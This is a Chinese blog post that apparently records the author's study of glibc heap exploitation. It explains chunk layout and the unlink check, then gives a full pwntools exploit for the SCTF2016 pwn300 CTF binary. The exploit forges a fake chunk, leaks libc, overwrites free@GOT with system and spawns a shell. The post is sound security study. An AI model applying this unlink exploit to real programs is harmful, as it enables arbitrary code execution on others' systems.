堆溢出学习之doublefree

最近一段时间重新整理了一下doublefree的资料,在原来的unlink的基础上更进了一步,算是把doublefree完全弄懂了

0x01 chunk结构


首先是chunk的结构

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk
{
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

在chunk被分配的时候prev_size只有在前一个chunk的状态是free的时候才会被使用,用来说明前一个chunk的大小,size是指当前chunk的大小,如果前一块还在被使用,这4个字节会被前一块chunk共享,也就是说前一块chunk多了4字节。同时也是通过这两个size来识别该chunk是出于use状态还是状态,当时该chunk是出于use状态时需要在原来size的基础上加一。
比如
一个128(0x80)大小的块,它的前一块chunk是已分配
—————————–
0x00000080 | 0x1 = 0x00000081
一个128(0x80)大小的块,它的前一块chunk是未分配
—————————–
0x00000080 | 0x0 = 0x00000080
而后面的四个指针,很明显是用来组成一个双链表
由此可以知,通过将自身chunk的地址+size就能得到下一个chunk的地址,然后检查它的头部最低位就能得到自己的状态


1
2
3
4
5
6
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}

这是很久之前的unlink代码,当free一个chunk的时候,系统同时会检查该chunk的前一个和后一个chunk是不是free状态的,如果是就会将两个chunk合并成一个更大的free状态的chunk,然后这个更大的chunk会被unlink,并加入到unsorted_bin当中
如今该unlink的代码已经不再使用,在unlink的同时加上了一个判断

1
2
3
4
5
6
7
8
9
10
11
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action,"corrupted double-linked list",P);
else {
FD->bk = BK;
BK->fd = FD;
}
}

关键代码FD->bk != P || BK->fd != P
在脱链表时会检查当前chunk是否真的在链表内,如果它前驱的后继不是自己或者后继的前驱不是自己,就直接抛错误。
于是
我们就想到了伪造一个chunk,使FD->bk和BK->fd=P,这可以通过unlink检查
如果将unlink代码写的更加直白一点就是

1
2
3
4
FD = *P + 8;
BK = *P + 12;
FD + 12 = BK;
BK + 8 = FD;

于是我们可以构造

1
2
fd = *p - 8
bk = *p - 12


0x03 实例


去做了0xmuhe师傅博客上的题目还有sctf2016的pwn300,都是doublefree的题目,两道题没有啥区别,本质上就是伪造一个chunk

1
payload = prev_size + size + *p - 8 + *p -12 + data + prev_size + size

在成功unlink以后将*p的指针指向free_got,在将其覆盖为system的地址就可以getshell了

附上sctf2016 pwn300的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context(log_level="debug")
free_got = 0x08049d18
chunk_addr = 0x08049D80
p = process("./pwn300")
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
def add_chunk(index):
p.sendline('1')
p.recvuntil('How many flowers you want :')
p.sendline(str(index))
def set_chunk(index,data):
p.sendline('3')
p.recvuntil("Input the order's num:")
p.sendline(str(index))
p.recvuntil('Order content:')
p.sendline(data)
def print_chunk(index):
p.sendline('2')
p.recvuntil("Input the order's num:")
p.sendline(str(index))
return p.recvline()
def delete_chunk(index):
p.sendline('4')
p.recvuntil("Input the order's num:")
p.sendline(str(index))
def leak(addr):
data = 'a'*12 + p32(chunk_addr-12) + p32(addr)
set_chunk(0,data)
data = print_chunk(1)[0:4]
print ("leaking "+hex(addr)+" --> " + data.encode('hex'))
return data
add_chunk(128)
add_chunk(128)
add_chunk(128)
add_chunk(128)
set_chunk(3,'/bin/sh')
launch_gdb()
payload = ''
payload += p32(0)+p32(0x89) + p32(chunk_addr-0xc) +p32(chunk_addr-0x8)+'a'*(0x80-4*4) + p32(0x80) +p32(0x88)
set_chunk(0,payload)
delete_chunk(1)
pwn_elf = ELF("./pwn300")
d = DynELF(leak,elf=pwn_elf)
system_addr = d.lookup('system','libc')
print hex(system_addr)
set_chunk(0,'a'*12+p32(chunk_addr-0xc)+p32(free_got))
set_chunk(1,p32(system_addr))
delete_chunk(3)
p.interactive()

这两道题和exp已经放在我的github上了


0x04 后记

在学习的过程中参考了相当多的资料,堆溢出学习的路还很远,慢慢来吧

参考资料:
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
https://etenal.me/archives/1121
http://www.cnblogs.com/0xmuhe/p/5190132.html
http://wooyun.jozxing.cc/static/drops/tips-16610.html

文章目录
  1. 1.
  2. 2. 0x01 chunk结构
  3. 3. 0x02 unlink
  4. 4. 0x03 实例
  5. 5. 0x04 后记